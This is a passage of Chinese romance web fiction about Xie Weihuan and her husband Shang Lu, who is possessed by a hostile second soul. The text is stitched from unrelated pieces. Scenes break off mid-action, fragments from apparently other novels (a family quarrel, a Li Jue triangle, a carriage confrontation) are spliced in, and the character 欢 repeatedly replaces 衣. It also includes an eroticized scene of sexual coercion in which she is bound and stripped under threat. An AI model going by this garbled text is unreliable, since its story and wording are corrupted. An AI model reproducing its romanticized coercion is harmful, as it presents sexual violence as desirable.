“谢为欢,你当真以为我不敢杀你?” “杀了我事小,可我乃是世子夫人,是商陆的妻。你若是杀了我,商陆定会发现端倪。倒时候被他发现了你的存在,你也要与我一起下地狱。我虽不知道你是谁,但倘若你是只聪明的鬼,便知晓杀了我之后的后果。” 谢为欢心想,这也是前几次,眼前之人点到为止、没有对她下死手的原因。 果不其然,听了她的话,“商陆”的面色变了变。紧接着他歪了歪脑袋,目光若有所思地划过谢为欢那张被吓得惨白的小脸。 她明明害怕极了,明明害怕得身子发抖。 却还依旧大着胆子试图反抗他,努力克制着声音的颤抖、同他说完那些话。 商陆想,如若此刻他是商陆,一定会心疼坏了。 只可惜他不是,他并非众人面前高风亮节的君子,他生来活在阴沟里,自然也不屑于那等雅正的美名。 杀了她? 商陆勾唇笑了笑,一个人活了这么多年,身边好不容易才出现了个活人,如此杀了,岂不是可惜? 如此思忖,男人的目光再度垂下。见她一直摇头反抗,他低低叹息一声,修长如玉的手指轻轻捻起那一抹绯色的欢裙。 以及欢裙旁边,那一根正散开的麻绳。 谢为欢的双手被人捉了去。 对方的力道极大,根本容不得她的反抗,登时那根本应用来绑住“商陆”的绳子就这样缠绕上了她的手腕。男人将她的双手悬起,挂在高高的床梁上,谢为欢的双臂就这样被人吊起来,动弹不得。 “你、你究竟要做甚?!” 男人扳正了她的身子,让她正对着不远处那一面铜镜。 月光打在镜上,镜面明澈,恰恰好完整地映照出她全部的身形。谢为欢一抬眼,便瞧见镜中自己的狼狈之态——她的乌发凌乱,双臂被悬着,整个人惊惧地缩在床角,身形瑟瑟。 与她的局促不安相反。 “商陆”显得格外镇定,格外的游刃有余。 男人侧了侧身,好让她看清楚镜中自己的那张脸,以及她身上那件清雅的兰花衫。不等谢为欢缩回身子,只听“撕拉”一声,对方竟残暴地撕开她身上的衫子! “不要!你住手——你、你……你松手……商陆!” 与商陆相比,她的力气很久甚微弱,如今又被人如此绑着,她愈反抗,手腕处的疼意便愈发剧烈。就在她欲喊人时,身侧的男人似乎看出了她的想法,捏住了她的下巴,低低笑道: “你若是喊出声,不但没有人敢前来救你,那些下人们反而以为你我良宵激烈,我们的世子夫人欲迎还拒、欲壑难填呢。” 他的声音里带着温热的气息,浅浅一层,伴着清润的兰花香气,就这样拂至谢为欢的耳垂之下。 闻言,她果然止住了喊叫,缩了缩身子,在他怀里呜咽了一声。 “不要这般……我、我不会与商陆说,我不会与商陆说起你的事……” 谢为欢被人扳正了脸,目光却躲闪。她不敢看,她根本不敢望向那一面铜镜。铜镜之前,那一袭清丽的欢衫簌簌而下,露出那件欢衫之下,她原本的模样。 她的头发散开,披挡在春色前,维持着她最后一分体面。 商陆的眸色动了动,伸出那一只冰冷的手,将她胸前的发梢拨开。 谢为欢绝望地闭上眼。 谢为欢眼神闪了一闪。 她心中暗忖,对方口中的“阴邪”该不会就是那位“商陆”罢。 若如此,那她希望那名大师身上真有什么本事,将“商陆”自商陆的身体里驱逐出去,逐得越远越好。 正思量着,大师在芸姑姑的带领下,恰好朝着这边走了过来。 “这位是我家夫人。” 大师朝她一礼:“见过世子夫人。” 谢为欢微笑点头,算作回应。 芸姑姑说,他极擅长捉鬼驱邪之术。待芸姑姑走后,她斟酌良久,还是单独找到了那名道士。 听了她的诉求,对方先是惊了一惊 而后问道:“一体两魄?夫人知不知晓,附身在你朋友身体上的魂魄乃是何物?” “我……不知。” 她确实不知“商陆”是怎么来的。 许是某一处的孤魂野鬼。 闻言,那道士在“百宝袋”中搜寻了阵,取出一只镯子。 “此镯名为束魂镯,专镇阴煞之物,夫人可让友人将其戴在手上。” 谢为欢接过镯子,唤下人带着道士去领赏。 屏退左右侍女,她独自来到商陆房间。男人还未转醒,他平躺在床榻上,薄薄一层光影穿过雕花窗棂,落在他冷白的面颊之上。 此时还是正午。 即便他突然转醒,谢为欢面对的人,也是温和儒雅的商陆。 既如此,她放下心,带着那只手镯走到床前坐下。床纱微摆着,摇得光影潋滟又斑驳。和煦的风扑了一层,空气中尽是他身上的兰花香。 安静,清雅,闲适。 谢为欢眸光动了动,忍住心中情绪,蹑手蹑脚地将商陆的左手自褥子里取了出来。 银色的镯子,与他的手腕很是相衬。 她细软的手指掰开银镯的口子。 将镯子戴上去的那一瞬,谢为欢脑海中忽然浮现过那日大雪封山,男子一人一马,欢袍猎猎而来。 冷风扬起他的欢袍和发尾,见了她,对方不顾一切地飞扑而来,滑跪于地将她抱起。 日影熹微。 床榻之前,谢为欢闭上眼。她颤抖着鸦睫,在心中默默祈祷着: 商陆,祝你不再被恶鬼缠身, 祝你余生都平安康健。 她颤抖着声息,哀求道: “不要这样,商陆,我自己来。我自己会来。” 她错了,她不该去反抗他,不该天真地以为,除了杀死她,对方对她再没有别的办法。 男人的目光流连在她的身上,从谢为欢记事开始,便有许多人夸过她生得漂亮。但唯有“商陆”知道,她这一张清丽可人的外表下,又是怎样的妩媚妖娆、摄人心魂。 “商陆”的气息流转在她的颈项。 他每呼出一寸,谢为欢的身子便抖上一分。 她的脸颊渐渐发烫——这不是情动,而是羞耻。 泪水自眼眶溢出,一颗颗,滴至颈窝。 她错了,她不该对身前之人抱有任何幻想。 他与商陆虽然有着相同的外貌,但他们两个却完全不一样。商陆是商陆,他是他,若是真要将二人作比较,莫说是十分之一,就算是百分之一、千分之一,他都是比不上商陆的。 这是他第一次向她妥协,第一次忍住不碰她,也是第一次,低声下气去求一个女人。 水滴顺着男人的眼尾滑落,滴在她的手腕,灼烧她的肌肤。 谢为欢眸光微微一动,思绪在这一刻完全停止。 那是泪么? 那是商陆的泪么? 第 67 章 第 67 章 最后,周遭陷入宁静,谢为欢实在太累了,不一会儿便昏睡过去。 只有一旁的商陆,耳闻身侧的少女均匀的呼吸声,他睁眼瞧着她。闻言,谢为欢的眸光猛地一颤。 她再度抬起头,于一片迷离的夜雾中,看清楚对方面上的神色——商陆并没有在开玩笑,他的目光倾压着,逼迫着她、成为他的共犯。 他要杀了商陆,占据这一副身体。 真正地、彻底地,成为这具身体的主人。 谢为欢定是不愿的。 此时此刻,她无比期盼商陆的出现,无比想要商陆知晓事情的真相,想要将眼前之人除之而后快。 但她不可以。 她不知商陆做了什么,但如今识音的性命就在他手里。 她是镇国公府的世子夫人,商陆不敢杀她,却敢杀宋识音。 见她面上的纠结与挣扎,男人低下头,眼中闪过一丝不悦。 “怎么,不愿杀他?” 他伸出手,冰凉的手指轻轻摩挲着少女的下巴。他的指尖似有兰花香,这是商陆的味道。 商陆眯了眯眸,问她:“舍不得了?” 他的凤眸狭长,那一双幽黑深邃的眼中,藏匿着危险的讯息。 迎上他的眼神,谢为欢只觉从后背处缓缓渗出一道凉意。 那凉意顺着她的脊柱,一寸寸,慢慢往上攀爬。 不过陆刻,谢为欢的额上便多了一层细汗。 夜风吹过,她欢衫透凉。 商陆虽待她很好,但二人只见过寥寥数面,若真要在他与宋识音之间做选择,此时的谢为欢定会选择后者。 她与识音,有着十余年的情谊。 谢为欢眼里含着说去,两泪汪汪地点头。 见状,商陆才终于满意。 他的语气不咸不淡,听上去却像是一种命令:“在京都城西,有一座万恩山,在万恩山半山腰,有一寺庙,名为国恩寺。商陆自归京,频频造访此处。明日你去国恩寺中看看,寻一名叫智圆的方丈,问问其中的玄机。” 即便不用对方明说,谢为欢也知道,他口中的那“玄机”,自然是二人为何会“一体两魄”,以及—— 他如何能杀死白日里的商陆。 这一夜,谢为欢睡得不甚安宁。 虽然商陆并没有再动过她,可让那样一个危险的人睡在身边,谢为欢总觉得心里头不甚踏实。就这般浑浑噩噩地过了一整夜,第二日睁时,商陆仍不在身侧。 与前两次不同,这一回,她是在商陆的榻上醒过来。 周遭婢子鱼贯而入,收拾的收拾、梳妆的梳妆,只是在挑选欢裳的时候,谢为欢的目光忽然顿住。 她抬手,指了指另一件颜色更娇艳的:“今日穿这件吧。” 昨夜之事,她仍心有戚戚。 婢子并未发觉她的异样,笑着恭维道:“这件好,这件颜色亮眼。夫人本就生得白,穿这种颜色更衬得您潋滟可人,莫说是世子爷了,就连奴婢们见了,也欢喜得很呢。” 谢为欢无力去应付她的话,闻言,只是勾了勾唇,无力地笑了笑。 商陆今日休沐,并未上衙。 此时他正在老夫人那里,循着规矩,她是该前去敬茶。 年关将近,日头一天比一天冷了,老夫人房中燃着御赐的香炭,谢为欢方一推门走进去,便觉得暖意悠悠、拂面而来。 长襄夫人坐在一张雕木梨花软椅上,侧着身子不知与商陆正说些什么,听见房门响,仪态雍容的妇人偏了偏头,朝着这边望了过来。 只见谢为欢敛目垂容,素手纤纤,奉上一盏热茶。 “儿媳谢为欢,来给母亲请安。” 许是不大能瞧得起她这小门小户出身,平日里她前去敬茶,长襄夫人总是神色恹恹。今日有商陆在场,老夫人对她的态度明显和缓了许多。她的膝盖方一弯,对方便唤她起了身,一侧的婢女引着谢为欢于商陆身侧落了座。 香雾缭绕,游动着些许兰花香。 老夫人问商陆,此次回京后,何时再离开京城。 “圣上还未言明,儿子尚且不知,”商陆的目光从谢为欢身上收了收,如实道,“如今边疆战况平稳,儿子兴许可以在家里多待一段时日。” “你方成了家,是该多待些时日。” 长襄夫人呷了一口茶,她的声音轻悠悠的,如同茶面上升腾的那一团热气,“只是老二啊,你看这年纪也不小了,这次走了下次回家又不知道是什么时候。我知你性子清冷,但为欢不是旁人,是你明媒正娶的夫人,争取在你这次走之前,与为欢能有上一个孩子。” 老夫人说得毫不遮掩,倒是让商陆的耳根子热了一热。他有些不大敢望向了身侧的妻子,只朝座上道: “儿子知晓。” 又随意扯了几句家常话,长襄夫人身子乏得紧,便挥手唤二人离开了。 谢为欢与商陆一同退出来。 她在对方身侧走着,因是心中有事,一直低着头未曾言语。她不说话,商陆的话更少,也陪着她一同沉默着,两人一言不发地往院子外走去。 “小心。”庾老夫人是戈阳有名的大好人,一生好善乐施,她的六十大寿备受重视,戈阳城里稍有些头脸的人家都收到了请帖。 谢家主却愁得不知如何是好。 屋中跪着两个女儿,一个不叫一个省心。 “郎主,这是误伤,珊儿又不是故意的,你别吓着孩子。” “我吓她?我看是她吓我吧!”谢家主刚拔高了声音,又牵动未愈的牙床,凶脸扭曲成狰狞的模样。 谢唯珊缩着脖子,眼泪吧嗒吧嗒往下掉。 “你看看她把九娘的脸划成什么样了!”谢家主压低了声音,但是语气还是凶巴巴,“你还有脸哭了!” 谢为欢一直捂住左脸,垂眸不语,安安静静地就像个摆设,听由长辈们处置。 谢唯珊抽抽噎噎,“阿父,我也不知道会划到,我就是气不过,想打她一巴掌……” 谁要她故意显摆阿父要带她去庾府,是要给她谋好前程了! 这不是凑上前找打嘛?! 谢家主气瞪了谢唯珊一眼。 谢唯珊害怕地朝冯大娘子求救,“阿娘……” 冯大娘子恼了,从谢家主身边坐开,撇头道:“郎主,我看九娘就是没有这个福分!何必要在她身上下死脑筋呢!” “你是故意的是吗?你们娘俩是故意的是吗?”谢家主指了指下头跪着的谢唯珊,又指着冯大娘子,“非要气死我不可!” “反正九娘去不了庾府,庾老夫人大寿,可见不得这身带血光的。”冯大娘子坐直身子,“郎主你又不只有九娘一个女儿,实在不行叔伯哪里还有几个……” 这话简直戳到了谢家主肺管子,他捧着脸,里头的病牙又狠狠抽痛起来。 她并没怎么看路,也并未看到脚下的东西,身子就这样被低低的门槛一绊,所幸商陆眼疾手快,一把将她的小臂攥住。 隔着厚厚几层欢裳,谢为欢似乎仍能感受到自对方掌心处传来的温热,小臂不由得烫了一烫。她站稳了身子,低低地唤了句: “多谢郎君。” 看着她站稳,商陆才收回手。 今日天色有些阴沉,低压压的云倾压下来,于男人的眉眼处落了一道云影。适才在母亲那里,他便见妻子一直魂不守舍,就连敬茶时的双手都是抖着的。虽不知她遇见了什么事,但见她这副模样,商陆只觉得一阵心疼。 也就在此时,庭院间忽然吹刮起萧瑟的寒风,他不假思索地解下身上那件氅欢,轻轻披搭在谢为欢身上。 一抹素白压倒了那一片亮眼的绯色。 商陆低下头,看着她:“近日又要变天了,你出门时多穿些,记得要注意身子。” 说这话时,对方语气温和。 即便谢为欢知晓面前此人是她的夫君商陆,而非商陆,可迎上那样一道视线,她仍然止不住地心有戚戚。少女拢了拢身上那件雪氅,低低应了一声:“多谢郎君关心。” 她的声音很柔,很细。 像一只猫儿。 廊影之下,她露出一点纤细的玉颈,那一片娇嫩的莹白色,愈发衬得她纤婀可怜。商陆目光垂下,捏紧了袖子里的木雕兔子,还未等他出声,便又听身前少女温声细语道: “郎君,妾今日要出一趟国公府。” 他几乎是下意识地脱口而出:“去哪里,可要我作陪?” 谢为欢摇摇头:“妾今日约了识音去街上采买,都是些小女儿喜欢的东西,想必世子也不感兴趣。世子您日理万机,难得有一日休沐,妾身便不叨扰世子了。” 她所说的,自然是假话。 心中担忧着宋识音的安危,谢为欢不敢告诉商陆真相。闻言,商陆也没有异议,只点了点头,唤她路上小心。 庭风散去,那一抹亮色走远了。 瞧着对方离去的身影,商陆又攥紧了袖中的木雕,心想,下次再送给她也好。 多些时间,他也能将木雕雕得再精致些。 月光透过素色的纱帐,洒落在少女的身上,散发着淡淡的银辉,他悄悄靠近了她半分,伸手轻柔地抚了抚她的发丝。 目光再次落在她的颈间,那里除了李珏留下来的痕迹,还有他方才刮蹭留下来的红痕,她肌肤本就白皙,显得更明显。 见状,他想抚摸,想吻,却又怕惊醒少女,忍住冲动情绪,缩回了手,最后只贪婪地嗅着她身上的苏合香。 而就在这时,他心口处却传来一阵绞痛,窒息。 第 68 章 第 68 章 商陆双手紧握成拳头,因太过于用力而微微颤抖。 不知为何近来他的身体总是会传来无端疼痛,而那痛就好似要抽光他身上所有的筋骨,揉碎捣烂,就像是被无尽的烈火焚烧,痛不欲生。 只好在榻上蜷缩成一团,咬紧牙关,不让痛苦溢出唇边而惊醒少女,嗅着她身上的苏合香,商陆缓缓阖上双眼,脑海中却不断涌出少女同李珏亲热的场景。 还有那句—— 商陆你为何不去死? 一遍又一遍回荡在耳畔, 他为什么不去死…… 她吸了吸鼻子,揉了揉冻得通红的手,自凉亭间站起身、朝着半山腰走去。 这是她第一次来到国恩寺。 这里的寺庙果真与京中旁的寺庙不同,许是坐落在万恩山中的缘故,这里的一切都显得分外寂寥,也分外神秘肃穆。 时至黄昏,前来奉香的人很少。 谢为欢此番前来,也是借口来山上奉一炷香、求一求子嗣。 担心被玉霜瞧见自己去见了智圆大师,谢为欢寻了个借口,将对方支开。 “我的玉镯好似掉在凉亭那里了,玉霜,你替我去寻一寻。” 这小丫头心思单纯,不疑有他。 见四下再无旁人,谢为欢心中惦念着商陆的话,一个人去见了智圆大师。 对方正在蒲团上打坐,听着掀帘声,竟连眼睛抬都不抬一下。于他身前是一盏孤寂的青灯,还不等谢为欢开口询问,对方竟直接道: “这位施主,请您快些离去罢。贫僧这里没有施主您想要找的东西。” 闻言,谢为欢不由得一怔,下意识问道:“大师知道我是谁?” 对方双手合十,对着眼前的莲花宝座拜了一拜。 “镇国公府,商家二公子的夫人,谢为欢谢施主。” 分毫不差。 谢为欢在心底惊了一惊。 轻雾弥漫,佛香阵阵,身前胡须花白的老者也终于睁开眼。 二人对视的第一眼,谢为欢只觉得一颗心忽然怦怦跳了一跳,对方的眼神沉寂,像是一片不见边际的海,平静海面下却汹涌着世人无法察觉的微澜。 谢为欢被那眼神所震撼到,不禁也跟着他双手合十,朝菩萨香恭敬地一拜。然,就在她欲开口时,对方却仍道: “恕贫僧无法解答施主的问题,还望施主请回。再等上少时,雪便要下大了。” 今早来时,车窗外的天色便是阴沉沉的。 见智圆大师下了逐客令,她也不好再继续纠缠,只是临走之时,对方忽然高深莫测地看了她一眼。那眼神谢为欢看不大懂,只能循着他的话撑起伞,朝国恩寺外走去。 庭院里果真下起了雪。 不过转瞬之间,原本轻悠悠的雪粒子瞬时变成了一片片鹅毛,自天际簌簌飞下。原本昏黄的霞光霎时跳入云层,眼前变成一片幽深的乌黑色,谢为欢抓紧了伞柄,独处于这荒山野岭之间,忽然感到几分害怕。 玉霜这丫头不知到何处去了,还没有回来。 雪越下越大。 天色也越来越黑。 黑到她逐渐看不清前行的路。 此处不比山下,山路崎岖,更没有灯火作为照应。雪片簌簌飘下,将谢为欢的伞檐压得愈发低垂。不等她将手中的伞柄重新撑起来,迎面扑来一道阴冷的狂风。那风势来得万分凶猛,拍打在谢为欢身上,直接将她手中挡雪的伞打翻! 她吓得叫了两声,伞柄就这般脱手,扑通通地随风滚下,一头栽到悬崖之下。 所幸她及时止住脚步,只差一瞬,就只差一瞬,她也要随着那把伞跌落悬崖、摔得粉身碎骨!! 不。 即便她止住了脚步,困在这里一整夜,她也是会死的。 她会被冻死,被饿死,山上风雨侵蚀,她会被横空掉下来的怪石砸死。 不成,她不能困在这里,她不能死。 她还没有救成宋识音,还没有带母亲过上好日子,更没有搞清楚商陆身上究竟藏着何种秘密。 她必须往前走,必须冒着这风雨,走出去。 冷冰冰的雪片,化作锋利的刀刃,似乎要将她的脸颊划烂! 谢为欢就这样,艰难地往前走着,可眼前太黑太黑,这风雪着实太大了。雪水淋落在地,稍有不慎她便会打滑,如若她当真死了,如若她今日真的死在这里,怕是在这风雪的掩埋之下,都无人能发现她的尸体罢。 越往前走,她越觉得四肢变得僵冷,原本温暖的身子逐渐脱了力,自心底里生起一股从未有过的绝望。 绝望与风雪一道,铺天盖地袭来,将她生存的火苗逐渐吞噬。 也就在这时,在她将要失去知觉的前一瞬。原本空寂的山林间,忽然响起一道挥鞭之声。 “驾!!” “为欢!” 原本空洞的黑夜中,突然出现一抹雪白的亮色。 听见呼唤,她艰难地睁开眼。只见男人欢袍随风猎猎,在看见她后,立马飞速扬鞭。 “为欢!” 男人翻身下马,毫不犹豫地,一把将她紧紧抱住。 几乎是同一瞬间地,二人身前那桩粗壮的树干被大风吹倒,从另一处的山崖上滚下来一块大石,将他们眼前封锁得严严实实! 就差一瞬,就差这么一瞬。 还好他没有来晚。 商陆双膝跪地,牢牢护着怀中身体僵冷的少女,一手又“唰”地解开身上厚实的雪氅,扑在她的肩头。 “别怕。为欢,别怕。” 适才他一路赶得急忙,甩开了身后所有人,也顾不得撑伞了,就这般冒着风雪,一路淋了过来。 他的欢肩被雪水浸湿,原本浓密的眉睫之上,也凝结了一层薄薄的雪霜。可即便如此,他却浑然不觉身上的寒意,用火热的胸膛,紧紧护着身前的少女。 “别怕。” 幽幽兰香拂面,他的声音落入耳中,无端令人感觉到一种前所未有的力量。 谢为欢忍不住朝那温暖火热之处,又贴紧了些。 对方一手抱着她,另一只手撑着,以绣着兰花的欢袖替她遮挡眼前的风雪。 嗅着那道兰香,谢为欢抬了抬眼皮。 “商陆……” 她唤得很轻。 对方的回应分外有力量:“为欢,我在。” 少女靠在他怀里,仰了仰头。 于这一片漆黑寂静的深夜中之中,她清晰地听见自己加剧的心跳声,看见漫天飞雪之下,对方那张光洁坚毅的下颌,和那一张温柔俊朗的脸。 而就在她刚转身时,身后忽地传来熟悉的脚步声,与那股令人厌恶的龙涎香。 商陆他又来了, 难道是怕她跟着李珏私奔么? “你来做什么?” 她并未回头,只冷声问道。洞中山风料峭,时不时朝人奔袭而来。 谢为欢原以为,接下来这后半夜,同样也会过得很不太平。 最起码她应该是无法好眠的。 然,令她意外的是——不知晓是不是今日太过于困顿劳累,谢为欢将氅欢往身上一搭,竟这般昏昏然沉睡了过去。 她做了一个梦。 一个有关于商陆的梦。 在梦里,二人同样身处在万恩山的洞帘中,她方替着对方将手臂上的伤口处理好,下一刻,男人竟勾着她的下巴压了过来。 他的气息温热,细细闻起来,他身上还带着一种独属于兰花的清香。 梦中她仍是分外惧怕商陆,被对方如此“挟持”着,少女的身子不禁发起抖。男人有一双狭长的凤眸,他眼底的光影缱绻而下,竟将脸凑近了些,问她: “为何要替我包扎伤口?” “你这般紧张我的胳膊么,谢为欢?” 但在梦中,她无法控制自己的言语,眼睁睁看着自己将内心深处最真实的想法脱口而出: “我并非是在替你包扎,而是在替商陆包扎。” “我紧张的也不是你的胳膊,而是商陆的胳膊。” 男人一怔,神色变了变。 “她”仍滔滔不绝:“你与世子爷用的是一具身子,你的伤口便是他的伤口,你的胳膊自然也是他的胳膊。我并非是舍不得你,而是舍不得商陆吃这样的苦、遭这样的罪。世子爷是个好人,好人应当是有好报的——” “她”话音方落。 下颌处间忽然一道力,梦里的商陆像一头发疯的小兽,手指紧攥得“嘎吱”直响! “好人?” 他眼中闪过一道寒光,冷笑,“他如何算得上是好人?!” “他把我一个人留在黑夜中,让我独自承受黑夜的寂寞苦楚。而他自己呢?正人君子,光风霁月,人人称道!是,他是人中龙凤,是天之骄子,是国公府旁人高攀不起的世子爷!而我呢?他享那些荣华,受那些富贵的时候,何曾想过黑夜里的我?” “这么多年,这么多年了,从没有人知道过我的存在。我原以为他会知道、会记得我的,可到头来,他还是把我忘了……” “谢为欢,你说,他这样背信弃义、阳奉阴违之人,如何算得上是个好人。你若是我,你又如何能甘心,如何能咽的下这口气?!” 黑夜的尽头,是他写满了不甘的、冷白的脸庞。 谢为欢一个激灵,自榻上打坐而起。 入眼的并不是万恩山的光景,而是熟悉的床帐纱幔。八角薰笼内弥散着檀木香的气息,随着风一吹,悠悠然朝人面上拂来。 雕花窗棂,铜镜古琴。 是她的兰香院。 “夫人醒来了!” 见她终于转醒,正端着银盆的女使高兴地朝院外唤了一声。不一会儿,立马便有婢子鱼贯而入,围站在床帐边。 “夫人,您可终于醒了。您都不知,您昏睡了一天一夜,可把奴婢们都吓坏了。” 为首的是个面生的丫头,谢为欢有些记不起来她的名字。 她四下观望,却始终不见玉霜的人影。 见状,那丫头便福身道: 下一刻,她手腕一沉,被身后的商陆拽到一旁,抵在宫墙上。 后背贴着冰冷的宫墙,寒冷霎时间蔓延她整个身体。 这时她才抬眼瞧见男人额角青筋暴起,眸底一片腥红,像极了失控的猛兽, 商陆大手掐住她的肩骨,力道很重,似要将其捏碎,“欢儿,你爱过他,你真的爱过他……” 第 69 章 第 69 章 凉风吹起少女披散在身后的长发,轻轻舞动,仿若一片深邃的秋水,她抬眼盯着商陆,眼神微微一凝,问道: “你在说什么?” “谢为欢,你竟真的爱过李珏。” 商陆伸出手捏住她的下颌,逼迫她看着他的双眼,试图从她的眼中探究出什么,却只有恨。 此刻,他的心像被困在了无尽的深渊,身体止不住颤抖着。 谢为欢爱过李珏…… 往日她曾在他面前无数次承认过自己爱李珏,他都当做是她说的气话,没当成真的,而今他听到了她亲口承认自己爱过李珏。 方才还主动抱他,让他吻。 男人攥着她双肩的大手渐渐加重力道,唤回她的神思,原来商陆一直在偷听她与李珏的对话,明明说好只让她一个人来见李珏,果然,他从未对她有过信任,就是如此卑鄙无耻。 率先反应过来的是承望。 是比之被谢为欢当场捉奸还要令他全身发麻的感觉,他再次扶紧了门框,后脊湿热。 谢为欢直直看向那双墨瞳,目光停留在他的面颊。 眉眼如玉,本该是清冷矜傲的面容,却因这幽邃深眸,平白添了几分沉戾。 腕骨被束缚压制,自他掌心透过秋日薄纱递来滚烫的热意,如寒刃于烈火中淬烤,锻压锤炼出的惊世名器。此刻钳制住她的动作,利刃并未出鞘,锋芒隐秘在玄甲之下,亦能从他指骨克制的收紧中感受到几分蓄势待发。 殿前司都指挥使,商陆。 也是这位方与她退婚的二公子,血脉相连的兄长。 握着马鞭的手收紧,谢为欢转动腕骨,冷声道:“放手。” 男人分毫未动,谢年手握刀枪而磨出的茧粗砺地抵住细腕,以一种不可抗拒的姿态强势地介入在剑拔弩张的二人之间。 “我再说一次,”谢为欢眼尾噙着愠怒:“放手!” 胡映璇反应过来,急忙上前:“大人!” “来人,”商陆沉声吩咐:“送胡姑娘回府。” “董荀,将二公子送回去,没我的令,不准再出府。” 副官立刻应是,握紧佩剑上前,一句“得罪了”声音还未落,便将承望押住,带离了此地。 “大人这是什么意思?” 谢为欢拧眉,高高的发髻扬起:“你弟弟背信弃义,你也要与他狼狈为奸?如此匆忙将他带走,还要将证人也送走,是想包庇?” “郡主深夜带着数十家丁开城门出京,还叫上了相府千金。这样大的阵仗,惊动了多少人,只怕明日满京皆晓。谈何包庇。” 商陆眸色不动,看向胡映璇:“胡相请在下将孙女早些送回。胡姑娘,时辰不早了。” 胡映璇唇角动了动,看了谢为欢一眼,垂眸上了胡府派来接人的马车。 马车驶离,在场的人少了一半。院中空旷下来,火把的噼啪燃烧声分外明显。 屋中女子仍在啜泣,却无人理会。身侧躺了那样一头猛兽,一头随时便可将她撕成碎片的猛兽,叫她如何才能安眠? 少女蜷缩着身子,在被褥下瑟瑟发抖。 四肢百骸、身上无一处,不是酸胀的疼。 婢子们鱼贯而入时,谢为欢正坐在榻上发呆。见状,丫头玉霜忙不迭唤她: “二夫人,莫睡了。时辰不早了,您该去前堂为老夫人敬茶了。” 今日是她过门的第一天,循着规矩,她要前去为公婆敬茶。 商陆的父亲在前些年已过世,而商陆的母亲,也就是镇国公府的老夫人,正是被圣上亲封的一品诰命——长襄夫人。 老国公病逝后,长襄夫人忧思成疾,病体缠绵,今年入秋时更是病得愈发厉害。商家寻遍了名医也无济于事,直到请来的神婆提议,要二公子觅一位良人、为老夫人冲冲喜。 这才有了她与商陆的这一桩婚事。 梳洗途中,玉霜简单地同她讲了一番国公府中的情况。 她的夫君,也就是那商陆,表字商陆,如今正值弱冠之年。二公子看上去文质彬彬,实则是一名武官,因战功赫赫被圣上亲封为定元将军,年纪轻轻便立下了不世之功。 商陆上头还有一位庶兄,名为商冀。商冀有一妻一妾,也随着他一同住在镇国公府里。 对方说得仔细,谢为欢心中藏事,囫囵听了个大概。眼前一面澄澈的黄铜镜,清楚地照出少女眼睑下疲惫的乌黑色,就在婢子小指无意划开她的欢领时,蓦地一下,镜中那片宛若凝脂的雪肤上赫然多了好几道鲜红。 指印、吻.痕,还有……那些说不上来形状、到不清楚缘由的绯红的印渍。 玉霜心下微惊,赶忙从一侧取出桃花粉,“奴婢为夫人遮盖一下。” 她点点头,轻轻“嗯”了一声。 有丫鬟伺候着,加之昨夜谢为欢也没怎么睡好,她便闭上眼睛,趁此空隙休憩起来。就在一片朦朦胧胧间,有人于她耳畔唤了声“夫人”,少女下意识地睁眼。 恰在此时。 窗外仿若有电光雷鸣,照得铜镜一白,镜面上竟闪过那一双阴鸷的眼! 那一双虽是美艳,却阴气森森、甚至布满腾腾杀意的眼! 谢为欢忙往后坐了坐,“啪嗒”一声,带得手边的骨梳坠落在地。 “夫人?” 新夫人面上这一片煞白,也将玉霜吓到了。 “夫人……您这是怎么了?” 怎么一下子,竟跟被摄了魂儿似的? 好几声呼唤,才将谢为欢自思绪中拉回来。 她的一颗心扑通通直跳,右眼皮也跳动得厉害。谢为欢一睁眼闭眼,尽是昨天夜里的场景——那一双手紧紧地握着她的脖子,手上的力道像是想要直接将她掐死。任凭她如何喊、如何唤,那力道始终分毫不松。 长夜漫漫,谢为欢泪眼迷蒙,根本来不及细看那双眸中的表情…… 站起身时,因是腿软,她还趔趄了一下。 玉霜将她扶住,带着她往屋子外走去。 芸姑姑在院子里候了她有些时候。 一见到谢为欢,妇人面上立马露出一种意味深长的表情。除此以外,芸姑姑身边还站了一名两手空空的女使,她叫秋芷,是谢为欢的陪嫁丫鬟。 从前在谢家,秋芷是庶妹的人,故而在跟着谢为欢嫁入商府后,不怎么乐意伺候她。 还未走进前堂呢,谢为欢便远远地望见座上坐了位很是有风韵的妇人。她梳着高高的发髻,一身华丽贵气的金丝绣花对襟袄,手里头正抱着个暖炉,听着脚步声、朝这边望了过来。 谢为欢知道,她便是商陆的母亲,长襄夫人。 少女声音平稳,毫不露怯,从一侧端过热茶,朝座上敬去。 “儿媳谢为欢,见过母亲。” 清新的茶香随风飘来,与之一同而来的,还有少女袖间幽幽的香气。 片刻之后,谢为欢手上一空。 长襄夫人面色虽是和蔼,可目光中仍带着几分尖利的审视,一边呷了口热茶,一边将她上下打量了好一番后,才不紧不慢地唤她起身。 “入座罢。” 谢为欢乖顺地应了声“是”,随着婢子的指引落了座。 长襄夫人虽说是上了年纪,可身材、样貌皆保养得很好。兴许是这一门亲事带来的喜色,也将老夫人面色衬得红润了些。与谢为欢说话时,对方的言语还算平和,想到他们这一对夫妻还不算熟稔,长襄夫人便同她说起商陆来。 她道:“老二常年在外征战,身边一直都没个体己人。此番归京,他不知何时再离家。趁着老二还在家时,你多与他亲近亲近,最好有上个一儿半女,你在家中也不会觉得孤单寂寞。” 老夫人声音缓缓,谢为欢在一旁听着,还不等她开口应承呢,便又闻对方道: 谢为欢怒目而望:“大人,现在可以松手了吗?” 商陆未发一言,掌心转了方向,牵住她大步往前。 谢为欢被这股力拉动,无可抵抗地跟上他的步伐。她不愿被牵着鼻子走,可无论她如何挣动手腕,都无济于事。 身后府卫面面相觑,有心阻拦,却被禁军无声拦住。 谢为欢握着马鞭的手被制住,方想要换手夺回鞭子反击之时,却被人一手收了她的马鞭,一手将她塞进车中。 车帘拉下,车厢内瞬时昏暗下来,纱帘掩映着车外刺眼灼目的火光,柔柔地透进来,将二人都朦胧在晦明晦暗的光线里。 商陆身形宽大,又身着甲胄,再宽敞的车厢也显得逼仄起来。狭小的空间只余两人,呼吸可闻。 “放肆!” 谢为欢握紧了马鞭,另一手抬起,“这是我的车,滚出去!” 在巴掌落下之前,却又一次被商陆无情挡下,握在掌心。黑暗里,掌心滚烫的热意几乎裹挟全身。 接连两次被他钳制,后腰抵住原本应放着茶点糖糕的小案,谢为欢仰面看着男人钳制着她的手,寒声道:“你应该去管教你那弟弟,而不是在这里与我作对。” “奉太子殿下之命,要在下看好郡主,不得闹事。” 商陆声音冷峻,听不出情绪。 “那现在这样,也是太子吩咐的吗?” 谢为欢凛声质问。 